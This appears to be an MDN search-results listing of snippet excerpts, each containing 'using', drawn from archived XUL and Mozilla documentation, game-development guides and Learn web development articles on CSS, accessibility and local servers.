note: if you are a web site developer, and you want to create microsummaries for pages on your site, you can write generators to do so, but a simpler and more efficient approach is to create the microsummaries on the server-side using the same tools and languages you already use to generate pages.
...then just link to the microsummaries from within the pages themselves using a <link rel="microsummary"> element, f.e.: <head> <link rel="microsummary" href="index.php?view=microsummary"> </head> when firefox encounters a <link rel="microsummary"> element, it loads the url in the href attribute.
...t will generate a text microsummary, we should indicate this with the xslt <output> element: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> </transform> </template> </generator> using a simple xslt <template> the xslt processor transforms documents by comparing each xslt <template> element in the transform sheet to a set of nodes in the document.
...ml page: <button onclick="window.sidebar.addmicrosummarygenerator('http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml')">install the spread firefox home page microsummary!</button> clicking that button will generate a javascript error on browsers that don't support microsummaries, however, so to improve the experience for those users, we should check to see if the user is using a microsummaries-enabled browser and display an explanatory message if not.
Layout System Overview - Archive of obsolete content
in the case of the html-specific elements, the frame types that correspond to the element are hard-coded, but in the more general case where the display type is needed, the layout system must determine that display type by using the style system.
...in all cases, the determination of the impact is critical to avoid either the problem of not updating impacted elements, thus presenting an invalid presentation, or updating too much of the presentation and thus doing too much work, potentially causing performance problems.
...layout deals with frames, but as long as the layout system being considered has no need to influence presentational elements from other layout systems, it can be adapted using a frame-based adapter, ala xul.
...further references to the presentation shell and presentation context will be made by using the term presentation shell.
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
menu bar menus jetpack.menu when you need to expose functionality through a menu but no menu in particular, do the right thing by using jetpack.menu, the "jetpack menu." jetpack.menu is a jetpack.menu object corresponding to a menu or region within a menu that jetpack sets aside for features.
...individual menus are drawn from the set using on(): on(selector) returns a new contextmenuset whose context menus are those that arise from nodes that match the given css selector(s).
... to work around this limitation, try using beforeshow and examining the node that the user clicked.
...existing items are always identified using targets.
Mozilla Crypto FAQ - Archive of obsolete content
at that point both nss and psm will be completely buildable using the open source code available from the mozilla.org site, and nss and psm will be included in the mozilla binary releases distributed by mozilla.org.
... finally, note that nss (and thus psm) can also be built using a licensed copy of the rsa bsafe crypto-c library (versions 4.1 or 5.0).
... also note that mozilla support for pgp and other security schemes may also be made available by commercial security vendors or by independent developers, using the various public apis already present in mozilla.
...also, changing the database directly from an application risks causing database corruption and subsequent problems in psm and applications like mozilla using psm.
Prism - Archive of obsolete content
basic desktop integration: support of desktop features can make using the app more natural and convenient for end users.
... customization: apps can be run using a shared browser runtime and customized using client-side script (similar to greasemonkey).
...bundles can be installed locally, or directly from a website using the prism for firefox extension.
...using configuration files and webapp scripting, the host window can be modified.
Supporting private browsing mode - Archive of obsolete content
doing this is quite easy, using the nsiprivatebrowsingservice interface.
...using the helper the helper described above is very easy to use.
...private browsing for theme designers if you want to make your theme look different when used in private browsing mode, you can do so quite easily by using the browsingmode attribute in the window element in browser.xul.
...private browsing for plug-in authors plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable.
Event Handlers - Archive of obsolete content
event handlers are defined using handler elements.
... a handler specifies what event it is listening for using the event attribute.
...this action can be specified either using an action attribute or by specifying the script as a child of the handler element.
... for both mouse and key events, modifier keys can be specified using the modifiers attribute.
Getting File Information - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
... file.filesize = 5000; modified time the time that a file was last changed may be retrieved using the lastmodifiedtime (nsifile.attributes) attribute.
... var lastmod = new date(file.lastmodifiedtime); in this example, a date object is created using the modification time of a file.
... if (!file.iswritable()) throw "file cannot be modified"; if you aren't sure whether a file can be modified, for example, you may wish to check using nsifile.iswritable() first.
Uploading and Downloading Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...this is done by using an html <input> element using the file type from within a form.
...this operation can also be performed via a script using the xmlhttprequest object.
...the formdata object can then simply be passed to xmlhttprequest: function upload(posturl, fieldname, filepath) { var formdata = new formdata(); formdata.append(fieldname, new file(filepath)); var req = new xmlhttprequest(); req.open("post", posturl); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation.
RDF Modifications - Archive of obsolete content
« previousnext » one of the most useful aspects of using templates with rdf datasources is that when the rdf datasource changes, for instance a new triple is added, or a triple is removed, the template updates accordingly, adding or removing result output as needed.
...in effect, this isn't any different than adding the same set of triples yourself using the assert method.
...in this situation, it fills in the ?photo and ?description variables using the values from the newly added triple.
...as it happens, this resource is being used, since it is the value of the ref attribute we've been using in these examples.
Result Generation - Archive of obsolete content
« previousnext » rdf in this section, we'll look at generating template output using rdf datasources.
...templates provide a means of navigating around using only arrows with specific labels.
...in a xul template, you specify the starting point using the 'ref' attribute.
... here is an example: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" flex="1"> this is an indicator that we want to construct a xul template using the reference point with the uri 'http://www.xulplanet.com/rdf/a'.
Template and Tree Listeners - Archive of obsolete content
you would implement this object with these two methods if you wish to be notified when the template is rebuilt using the builder's rebuild call.
...if you try an example using the code above, you will notice that the first tree will maintain the selection when the rebuild button is pressed, whereas in the second tree does not.
...finally, you can remove a listener using the builder's removelistener method.
...the tree builder observer implements the nsixultreebuilderobserver interface and may be attached to a tree builder using the builder's addobserver method.
Tree Widget Changes - Archive of obsolete content
you can get the columns object which implements the nsitreecolumns interface for a tree using the tree's columns property.
...this will be hidden if the column redordering is disabled using enablecolumndrag="false".
... note that the tree must also be marked as editable using the editable attribute in order for this to work.
... style improvements you can now specify the cursor to use for a cell using the css cursor property.
Adding Methods to XBL-defined Elements - Archive of obsolete content
you can define custom methods for your elements using the method element.
...you can call the method by using code such as element.getmaximum(5, 10) where element is a reference to an element defined by the xbl containing the getmaximum method.
... methods are only available to call after the page is rendered, which may cause problems if using createelement.
...it works by getting a reference to the title element using the anonymous array and changing the visibility of it.
Adding Style Sheets - Archive of obsolete content
all the xul examples so far have actually been using a style sheet already.
...so far, we have been applying styles using the style attribute on elements.
...a style sheet may import styles from another stylesheet using the import directive.
... all elements can be styled using css.
Box Objects - Archive of obsolete content
this may be a bit confusing, but, the key is to remember that the width and height properties on an element return the size that was set in the xul while the width and height properties of the box object return the current size.
...there is no corresponding childnodes property for box navigation; instead you must navigate by sibling using the nextsibling or previoussibling properties.
...orient attribute the orientation is commonly modified using the orient attribute.
...here is an example: example 5 : source view <hbox dir="reverse"> <button label="left"/> <button label="center"/> <button label="right"/> </hbox> navigation through the nodes using the box object ordering will return the elements in the order they are displayed accounting for the ordinal adjustments made.
Creating a Window - Archive of obsolete content
you can also import other style sheets using a similar syntax.
... the correct way, of course, is to open the window using javascript.
...the syntax is described below: window.open(url,windowname,flags); where the flags contains the flag "chrome" as in this example window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300"); if you are using firefox, try below: window.open("chrome://browser/content/places/places.xul", "bmarks", "chrome,width=600,height=300"); you can test lines of javascript like these in the error console.
... to see the effect though, the following will open the bookmarks window: mozilla -chrome chrome://communicator/content/bookmarks/bookmarksmanager.xul if you are using firefox, try below.
Manipulating Lists - Archive of obsolete content
although listboxes may be manipulated using the standard dom functions as well, it is recommended that the specialized listbox functions be used instead when possible.
... next, we remove the item using the removeitemat() function.
... since this function requires an index we can convert between an item and an index using the getindexofitem() function.
...the scroll position may be adjusted using a couple of listbox methods.
Popup Menus - Archive of obsolete content
also note that it is possible to open context menus without using the mouse, for example by pressing the menu key on a keyboard.
... declaring popup content a popup is described using the menupopup element.
...you could also associate the same popup with multiple elements, which is one advantage of using this popup syntax.
...the tooltip is associated with the more button using the tooltip attribute, which is set to the corresponding id of the tooltip element.
Tree Box Objects - Archive of obsolete content
note: it is not necessary to run tree.boxobject.queryinterface(components.interfaces.nsitreeboxobject) as shown in the code examples on this page because: let boxobject = tree.treeboxobject; note: is equivalent to: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); scrolling the tree you can also scroll the tree using four different methods, similar to those available for listboxes.
...you might notice that the tree box object can be retrieved in the same way as other box objects using the boxobject (fixme: deallink)property, however we need to call queryinterface() to cast the box object to the more specific tree box object.
...the name was changed to getpagelength() since it was confusing before since it doesn't return the number of pages, but the size of each page.
...again, the column should be either a string or a column object depending on which version you are using.
Tree Selection - Archive of obsolete content
getting the selected tree items each item in a tree (that corresponds to treeitem element, if using content tree view) may be selected individually.
...the user may also change the selection by using the cursor keys.
...from the tree, you can get the selection using the tree's view property and then retrieve the view's selection property.
...because the selected items in a multiple selection tree are not necessarily contiguous, you can retrieve each block of contigous selections using the getrangecount() and getrangeat() functions.
Writing Skinnable XUL and CSS - Archive of obsolete content
this is done using an @import directive placed at the top of the file.
...the matching for these rules (unless you're very careful) will be inefficient, and when only using generic tag names, can be positively grotesque.
...examples of overlays that should take place using the chrome registry include the security padlock icon and any messenger ui in the navigator window.
...if you find yourself needing to display an image from the skin, then use <titledbutton> and style it rather than using <html:img>.
XUL element attributes - Archive of obsolete content
you can also specify the value of align using the style property -moz-box-align.
...you can retrieve the displayed order by using the properties of the boxobject of the container.
...you can also specify the value of pack using the style property -moz-box-pack.
...persistence can also be stored using the document.persist function.
Accessibility/XUL Accessibility Reference - Archive of obsolete content
we believe they are using the window class to determine that it is content rather than dialog, but does not support content mode for xul.
...using context="popupid" allows access via shift+f10 on windows and linux.
...radio selected="true" label='<!--option1-->' /> <radio label='<!--option2-->' /> </radiogroup> row see grid rows see grid stack all elements can be focused, even if not visible due to being hidden under something else statusbar <statusbar> <statusbarpanel label="<!--status bar-->" flex="1"/> </statusbar> read using jaws with insert+page down statusbarpanel see statusbar tab see tabbox tabbox <tabbox> <tabs> <tab label="<!--tab text-->" /> </tabs> <tabpanels> <tabpanel orient="vertical"> ...
... </tabpanel> </tabpanels> focusing the tabbox will visually set focus to the selected tab, then you can select different tabs by using the left and right arrow keys.
browser - Archive of obsolete content
you can switch to this home page using the gohome method.
...the window for the primary content can be retrieved more conveniently using window.content.
... chrome (default behaviour): a browser, intended to be used for loading privileged content using a chrome:// uri.
...you may combine flags using a or symbol ( | ).
datepicker - Archive of obsolete content
three types are available, which can be specified using the type attribute.
...the datevalue property may be used to retrieve and set the date using a date object.
...however, as described in mozilla bug #799219, a change event handler may encounter erratic behavior when the date is changed using the keyboard instead of the mouse.
...using it with an anchor tag (an <a> link) will have no effect.
description - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
label - Archive of obsolete content
ArchiveMozillaXULlabel
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
...<label control="email">email address</label> <textbox id="email"/> if the text node contains no tags, it can easily be accessed and manipulated from javascript using node.textcontent.
menulist - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
menuseparator - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
prefpane - Archive of obsolete content
the former is specified using a preferences element while the latter may be specified using other xul elements.
...the uri will be opened using the help viewer when the help button is pressed.
...for example, if you are using a listbox and the user changes the contents of the listbox (such as adding or removing an item) and you want to sync the changes back to a preference, you must write an onsynctopreference handler for your listbox that returns the value to be written to the preference element, and then call the userchangedvalue function every time you edit the list in a way that should cause the preference's value...
... using multiple prefpanes note that when using multiple prefpanes in the same prefwindow, you must not put the <script> elements above the prefpane elements, but instead below them.
prefwindow - Archive of obsolete content
you can open a preference window using a window's opendialog method as with other dialogs.
... notes usage patterns opening/initializing a prefwindow note that you can define an initwithparams() function in your sub window - to handle parameters passed using openwindow() in case the window was already open.
... initwithparams(window.arguments[0]); // we expect a single parameter to be passed to the window } function initwithparams(aparams) { // this will also get called when an already open window is activated using openwindow() } closing a prefwindow sometimes you need to do things when the prefwindow is closed, such as things that can't (or shouldn't) be handled as preferences, such as saving passwords or updating sqlite data.
...therefore, an example call to opensubdialog() would look like this: document.documentelement.opensubdialog("chrome://myextension/content/options-sub.xul", "", null) issues when using prefpanes in prefwindow when you wish to put non-<prefpane> elements to prefwindow, you should place them after all of <prefpane>s.
radio - Archive of obsolete content
ArchiveMozillaXULradio
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
richlistbox - Archive of obsolete content
using it with an anchor tag (an <a> link) will have no effect.
...for user editable menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax.
...for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
... getselecteditem( index ) return type: element when multiple items are selected, you can retrieve each selected item using this method.
toolbarbutton - Archive of obsolete content
none the text will be not be cropped using an ellipsis.
...using it with an anchor tag (an <a> link) will have no effect.
...using this attribute on a button that is not in a dialog box has no effect.
...you can also create a group of toolbarbuttons using this type and the attribute group.
tree - Archive of obsolete content
ArchiveMozillaXULtree
unlike other elements, the data to display inside the tree is not specified using tags, but is determined from a view object.
...dom treeitems are created, so you can access the data using rdf functions or dom functions.
...using it with an anchor tag (an <a> link) will have no effect.
...for each row, use the style rules like the following: treechildren::-moz-tree-row(selected) { background-color: #ffffaa; } treechildren::-moz-tree-row(odd) { background-color: #eeeeee; } treechildren::-moz-tree-row(odd, selected) { background-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } if using a content tree view, use the following to get the value of the id attribute for each of the selected rows of a tree: var idlist = []; var rangecount = tree.view.selection.getrangecount(); for (var i = 0; i < rangecount; i++) { var start = {}; var end = {}; tree.view.selection.getrangeat(i, start, end); for (var c = start.value; c <= end.value; c++) { idlist.push(tree.view.getitematin...
XULRunner Hall of Fame - Archive of obsolete content
azardi free win/mac/linux epub 2/epub 3 desktop reader using html5 and latest css features of gecko for interactive e-books.
...ieditweb users can add pages, images, forms, ecommerce many special effects and much more using the xulrunner based client.
... sqlite manager manage all your sqlite databases using this lightweight extension for firefox, thunderbird, seamonkey, songbird, komodo etc.
...an updated version of "mybrowser" that works with firefox 25.0.1+ is available in matthew kastor's xulrunner examples at https://github.com/matthewkastor/xulrunner-examples/ exch a currency conversion tool using updated data from http://finance.yahoo.com/currency.
mozilla.dev.platform FAQ - Archive of obsolete content
faq for questions asked on mozilla.dev.platform xulrunner q: xulrunner on mac os x a: instead of using /path/to/xulrunner-bin.ini, applications on a mac must be in an application bundle (foo.app).
...took an foo.app directory created with xulrunner-bin --install-app and tried to copy (using rsync -rl) the xul.framework directory into a frameworks directory in the .app bundle and then deleting the xul.framework directory from /library/frameworks, my running my app fails silently.
...please make sure you're using 1.8.0.4 or later (not 1.8.0.1, which had a bug that prevented this from working properly).
... q: when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box, what needs to be implement?
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.builds - october 28th to november 3rd 2006 no such file or directory (build problem on winxp) november 2nd: kenoa complained that when he is compiling using cygwin on win32 he gets the following error no such file or directory1: /cygdrive/c/mozilla/mail/config/mozconfig client.mk:339: /cygdrive/c/mozilla/.mozconfig.mk: no such file or directory he claims that the file ".mozconfig" exists in /cygdrive/c/mozilla/mail/config/mozconfig the disable-crypto cause problem originally posted on november 2nd: gxk is building minimo using the code base from sept.
... when he builds using the disable.crypto option he encounters the following problem: no rule to make target `../../dist/lib/components/libpipboot.a', needed by `minimo'.
... problem compiling with vs 2003 .net phil is trying to compile firefox for the first time and is getting an error when doing so: building deps for /cygdrive/c/mozilla/toolkit/airbag/airbag/src/common/windows/guid_string.cc make[1]: leaving directory `/cygdrive/c/mozilla/obj-i686-pc-cygwin' make: *** [build] error 2 he also noted that he is using make 3.80-1.
... problems building browser's trunk on windows using vs 2005 originally posted on october 29th: ricardo sixel is trying to retrieve the trunk source code using the browser check out option.
Plugins - Archive of obsolete content
mozilla encourages website developers to avoid using plugins wherever possible and use standard web apis instead.
... plugins are written using npapi, the cross-browser api for plugins.
... plugins can be written completely from scratch using c apis (usually in c or c++) or they may be built on a plugin framework such as firebreath, juce, or qtbrowserplugin.
... xembed extension for mozilla plugins recent versions of mozilla on *nix-based systems include an extension for writing plugins that use xembed instead of using the old xt-based main loop that most plugins have been using since the netscape 3.x days.
Encryption and Decryption - Archive of obsolete content
thus, as long as the symmetric key is kept secret by the two parties using it to encrypt communications, each party can be sure that it is communicating with the other as long as the decrypted messages continue to make sense.
...a person with an unauthorized symmetric key not only can decrypt messages sent with that key, but can encrypt new messages and send them as if they came from one of the two parties who were originally using the key.
... the scheme shown in figure 2 lets you freely distribute a public key, and only you will be able to read data encrypted using this key.
...for public key algorithms, since half of the key pair is publicly known, the other half (private key) can be derived using published, though complex, mathematical calculations.
Common Firefox theme issues and solutions - Archive of obsolete content
to test this please go to bug 324777 using the default theme and activate the "click me" link.
...using the default theme in the latest firefox, please try tools > web developer > inspect to see how this new feature functions and how it should be styled.
...please go to mozilla's mission page using both your theme and the default theme and try the video on that page.
...if you are using the extension console² you can easily filter out content related messages to see just chrome issues.
Array comprehensions - Archive of obsolete content
for future-facing usages, consider using array.prototype.map, array.prototype.filter, arrow functions, and spread syntax.
...try to avoid using it.
...new variables (such as i in the example) are treated as if they had been declared using let.
...d array comprehension syntax, is to compare it with the array map and filter methods: var numbers = [1, 2, 3]; numbers.map(function (i) { return i * i }); numbers.map(i => i * i); [for (i of numbers) i * i]; // all are [1, 4, 9] numbers.filter(function (i) { return i < 3 }); numbers.filter(i => i < 3); [for (i of numbers) if (i < 3) i]; // all are [1, 2] array comprehensions with two arrays using two for-of iterations to work with two arrays: var numbers = [1, 2, 3]; var letters = ['a', 'b', 'c']; var cross = [for (i of numbers) for (j of letters) i + j]; // ["1a", "1b", "1c", "2a", "2b", "2c", "3a", "3b", "3c"] var grid = [for (i of numbers) [for (j of letters) i + j]]; // [ // ["1a", "1b", "1c"], // ["2a", "2b", "2c"], // ["3a", "3b", "3c"] // ] [for (i of numbers) if (i > 1) for...
Troubleshooting XForms Forms - Archive of obsolete content
if form controls are within repeat, check that you are using attribute nodeset for the repeat instead of attribute ref.
... conflicts with other plug-ins if you are using the noscript plugin you may notice that your put and/or post requests are being converted to get requests.
...if you are developing on your local machine using apache tomcat for example then add the following regular expression on a new line: ^http://localhost:8080/.* use the xforms buddy to view instance data the xforms buddy extension allows you to dynamically view model instance data while the xforms is running in the firefox browser.
... the home page for xfroms buddy is located at: xforms buddy using http proxy you can use the charles firefox extension to view your http session data including http header data.
Parsing microformats in JavaScript - Archive of obsolete content
datatype "html" if the search should be done using innerhtml(), or "text" to use innertext().
...the functions you can call on the returned object are: string = html.tostring(); returns a string using innertext().
... string = html.tohtml(); returns the node's html using innerhtml().
... see also using microformats describing microformats in javascript ...
Popup Window Controls - Archive of obsolete content
learn how to detect popup controls, how to ask your readers to enable popups for your site and how to get the benefits of popup windows without using popup windows.
... popup window controls configuration using the preference for privacy & security > popup windows, users can: allow all sites to open popup windows except for sites which the user has explicity denied permission what popup windows are suppressed?
... replacements for popup windows if your popup was created during the time the web page was loading, you may consider using document.write() to emit appropriate html which will contain the same information as the popup window.
... example the example tag links to devedge-temp.mozilla.org this example illustrates detecting suppressed popup windows as well as an approach for replacing popup windows with inline html using innerhtml.
Common causes of memory leaks in extensions - Extensions
for example: function implicitdeclarationleak(window) { // implicit variable declaration in the js global, holding a strong ref to the document doc = window.document; } implicitly declared variables can be avoided by using ecmascript 5's strict mode.
... be careful with setinterval/settimeout using window.setinterval() or window.settimeout() can be problematic, too, when it comes to zombie compartments.
...another solution would be to use the setinterval()/settimeout() instances content windows provide, but there is a big drawback with this idea: if the user disables javascript globally or locally (such as by using an add-on like noscript), then using the content window functions won't work.
... other information also see using xpcom in javascript without leaking (though that page could use some updating).
Examples - Game development
bananabread a multiplayer, 3d first-person shooter game developed using emscripten, webgl, and webrtc.
... animation physics 3d rendering of terrain and cars, using ammo.js for the physics calculations.
...created using three.js.
... svg masking experiment an xray machine, creating using an svg mask.
Building up a basic demo with PlayCanvas editor - Game development
we want to start small, so we will use the empty project — click on the blank project option and enter a name for it (we are using "mdn games demo".) enter a description if you want — it is optional.
... now follow the same steps as we did before when coloring the cube: create a new material using the add asset (plus) button.
...add the following line inside this function, to rotate the cube on every frame: this.entity.rotate(dt*10, dt*20, dt*30); in the line above this.entity refers to the object to which the script will be attached (the box); using the dt variable, which contains the delta time passed since the previous frame, we can rotate the box by a different amount around all three axes.
... save the changes using the save button in the top right of the code editor, then return to the main editor tab.
WebVR — Virtual Reality for the Web - Game development
using the webvr api the webvr api is based on two concepts — sending stereoscopic images to both lenses in your headset and receiving positional data for your head from the sensor, and those two are handled by hmdvrdevice (head-mounted display virtual reality device) and positionsensorvrdevice.
... positionsensorvrdevice && devices[i].hardwareunitid === ghmd.hardwareunitid) { gpositionsensor = devices[i]; break; } } } }); this code will loop through the available devices and assign proper sensors to the headsets — the first devices array contains the connected devices, and a check is done to find the hmdvrdevice, and assign it to the ghmd variable — using this you can set up the scene, getting the eye parameters, setting the field of view, etc.
... for example: function setcustomfov(up,right,down,left) { var testfov = new vrfieldofview(up,right,down,left); ghmd.setfieldofview(testfov,testfov,0.01,10000.0); } the gpositionsensor variable holds the positionsensorvrdevice — using this you can get the current position or orientation state (for example to update the scene view on every frame), or reset the sensor.
... } for a full explanation and more details of the demo this is taken from, see using the webvr api.
Desktop gamepad controls - Game development
need later on for storing the controller info and the pressed buttons: var controller = {}; var buttonspressed = []; function gamepadhandler(e) { controller = e.gamepad; output.innerhtml = "gamepad: " + controller.id; } the second line in the gamepadhandler function shows up on the screen when the device is connected: we can also show the id of the device — in the case above we're using the xbox 360 wireless controller.
...then we can keep the track of the information about pressed buttons by using the gamepad.update() method, and react to the given information: update: function() { // ...
...tatus && gamepadapi.axes.status[0]) { if(gamepadapi.axes.status[0] > 0.5) { // move player up } else if(gamepadapi.axes.status[0] < -0.5) { // move player down } if(gamepadapi.axes.status[1] > 0.5) { // move player left } else if(gamepadapi.axes.status[1] < -0.5) { // move player right } } they can now move the ship on the screen by using the dpad buttons, or the left stick axes.
...s.screengamepadhelp.visible) { this.screengamepadhelp.visible = true; } } else { if(this.screengamepadhelp.visible) { this.screengamepadhelp.visible = false; } } if the b button is pressed, the game is paused: if(gamepadapi.buttonpressed('b')) { this.managepause(); } pause and game over states we already learned how to control the whole lifecycle of the game: pausing the gameplay, restarting it, or getting back to the main menu.
Implementing game control mechanisms - Game development
in this series of articles we will show you how you can approach building a game that can be played using touchscreen smartphones, mouse and keyboard, and also less common mechanisms such as gamepads.
... case study we'll be using the captain rogers: battle at andromeda demo as an example.
... captain rogers was created using the phaser framework, the most popular tool for simple 2d game development in javascript right now, but it should be fairly easy to reuse the knowledge contained within these articles when building games in pure javascript or any other framework.
... if you're looking for a good introduction to phaser, then check the 2d breakout game using phaser tutorial.
Function - MDN Web Docs Glossary: Definitions of Web-related terms
only function expressions can be anonymous, function declarations must have a name: // when used as a function expression (function () {}); // or using the ecmascript 2015 arrow notation () => {}; the following terms are not used in the ecmascript language specification, they're jargon used to refer to different types of functions.
... a named function is a function with a function name: // function declaration function foo() {}; // named function expression (function bar() {}); // or using the ecmascript 2015 arrow notation const foo = () => {}; an inner function is a function inside another function (square in this case).
... an outer function is a function containing a function (addsquares in this case): function addsquares(a,b) { function square(x) { return x * x; } return square(a) + square(b); }; //using ecmascript 2015 arrow notation const addsquares = (a,b) => { const square = x => x*x; return square(a) + square(b); }; a recursive function is a function that calls itself.
... function loop(x) { if (x >= 10) return; loop(x + 1); }; //using ecmascript 2015 arrow notation const loop = x => { if (x >= 10) return; loop(x + 1); }; an immediately invoked function expressions (iife) is a function that is called directly after the function is loaded into the browser’s compiler.
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
a cors preflight request is a cors request that checks to see if the cors protocol is understood and a server is aware using specific methods and headers.
... it is an options request, using three http request headers: access-control-request-method, access-control-request-headers, and the origin header.
... for example, a client might be asking a server if it would allow a delete request, before sending a delete request, by using a preflight request: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org if the server allows it, then it will respond to the preflight request with an access-control-allow-methods response header, which lists delete: http/1.1 204 no content connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods:...
... post, get, options, delete access-control-max-age: 86400 the preflight response can be optionally cached for the requests created in the same url using access-control-max-age header like in the above example.
Assessment: Accessibility troubleshooting - Learn web development
if the online editor you are using doesn't have a separate css/js panel, feel free to put them in appropriate <style> / <script> elements.
... semantic html the content is still not very accessible — report on what happens when you try to navigate it using a screenreader.
... the <audio> player isn't accessible to those using older browsers that don't support html5 audio.
...can you make it keyboard accessible, both in terms of focusing it using the tab key, and activating it using the return key?
Overflowing content - Learn web development
using overflow: scroll, browsers with visible scrollbars will always display them—even if there is not enough content to overflow.
... you can also scroll on the x axis using overflow-x, although this is not a recommended way to accommodate long words!
... if you have a long word in a small box, you might consider using the word-break or overflow-wrap properties.
... note: you can specify x and y scrolling using the overflow property, passing two values.
Type, class, and ID selectors - Learn web development
using the universal selector to make your selectors easier to read one use of the universal selector is to make selectors easier to read and more obvious in terms of what they are doing.
...we do this by using the type selector for the element i want to target, with the class appended using a dot, with no white space in between.
...you can see both of these uses in the following example: warning: using the same id multiple times in a document may appear to work for styling purposes, but don't do this.
...in most cases it is preferable to add a class to the element rather than use an id, however if using the id is the only way to target the element — perhaps because you do not have access to the markup and so cannot edit it — this will work.
CSS building blocks - Learn web development
this module carries on where css first steps left off — now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper.
... get started prerequisites before starting this module, you should have: basic familiarity with using computers, and using the web passively (i.e.
... sizing items in css in the various lessons so far you have come across a number of ways to size items on a web page using css.
... a cool looking box here you'll get some practice in using background and border styling to create an eye-catching box.
Floats - Learn web development
cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> now apply the following css to your html (using a <style> element or a <link> to a separate .css file — your choice): body { width: 90%; max-width: 900px; margin: 0 auto; font: .9em/1.2 arial, helvetica, sans-serif } .box { width: 150px; height: 100px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } if you save and refresh now, you'll see something much like what you'd expect — the box is sittin...
... 90%; max-width: 900px; margin: 0 auto; font: .9em/1.2 arial, helvetica, sans-serif } .wrapper { background-color: rgb(79,185,227); padding: 10px; color: #fff; } .box { float: left; margin: 15px; width: 150px; height: 150px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } .wrapper::after { content: ""; clear: both; display: block; } using overflow an alternative method is to set the overflow property of the wrapper to a value other than visible.
...this will usually work, however, in certain cases you might find unwanted scrollbars or clipped shadows due to unintended consequences of using overflow.
...this exists only to create a bfc without using hacks — there will be no unintended consequences when you use it.
Positioning - Learn web development
so for example, if you specify top: 30px;, a force pushes the top of the box, causing it to move downwards by 30px.
...yes, you can, by using the z-index property.
...you may recall from previous points in the course where we discussed web pages using horizontal (x-axis) and vertical (y-axis) coordinates to work out positioning for things like background images and drop shadow offsets.
...using 2 and 3 would give the same effect as 300 and 40000.
How CSS works - Learn web development
the updated output is as follows: in our debugging css article in the next module we will be using browser devtools to debug css problems, and will learn more about how the browser interprets css.
...in addition, many people are not using the latest version of a browser.
...new browsers will interpret the line using pixels, but then override it with the line using calc() as that line appears later in the cascade.
... getting started with css how css is structured how css works using your new knowledge ...
How can we design for all types of users? - Learn web development
make it extra easy to read the text, to help visually-impaired people and people using their phones on the street.
... here is the html we're using: <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>font size experiment</title> </head> <body> <h1>this is our main heading <span class="subheading">this is our subheading</span> </h1> </body> </html> a percent-based css will look like this: body { font-size:100%; } /* 100% of the browser's base font size, so in most cases this will render as 16 pi...
...we can style the div either to set its width (using the width property) or its maximum width so that it never gets too large (using the max-width property).
... your readers may be using a very strict intranet that blocks images originating from a cdn.
What is a URL? - Learn web development
let's see the most important parts using the following url: http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#somewhereinthedocument http is the protocol.
... note: when specifying urls to load resources as part of a page (such as when using the <script>, <audio>, <img>, <video>, and the like), you should generally only use http and https urls, with few exceptions (one notable one being data:; see data urls).
... using ftp, for example, is not secure and is no longer supported by modern browsers.
...you don't need to include the protocol (the browser uses http by default) or the port (which is only required when the targeted web server is using some unusual port), but all the other parts of the url are necessary.
How do you set up a local testing server? - Learn web development
if you are using linux or macos, it should be available on your system already.
...if this is ok, navigate to the directory that your example is inside, using the cd command.
...to run this you'll need to install python/pip, then install flask using pip3 install flask.
... at this point you should be able to run the python flask examples using for example python3 python-example.py, then navigating to localhost:5000 in your browser.
Mozilla splash page - Learn web development
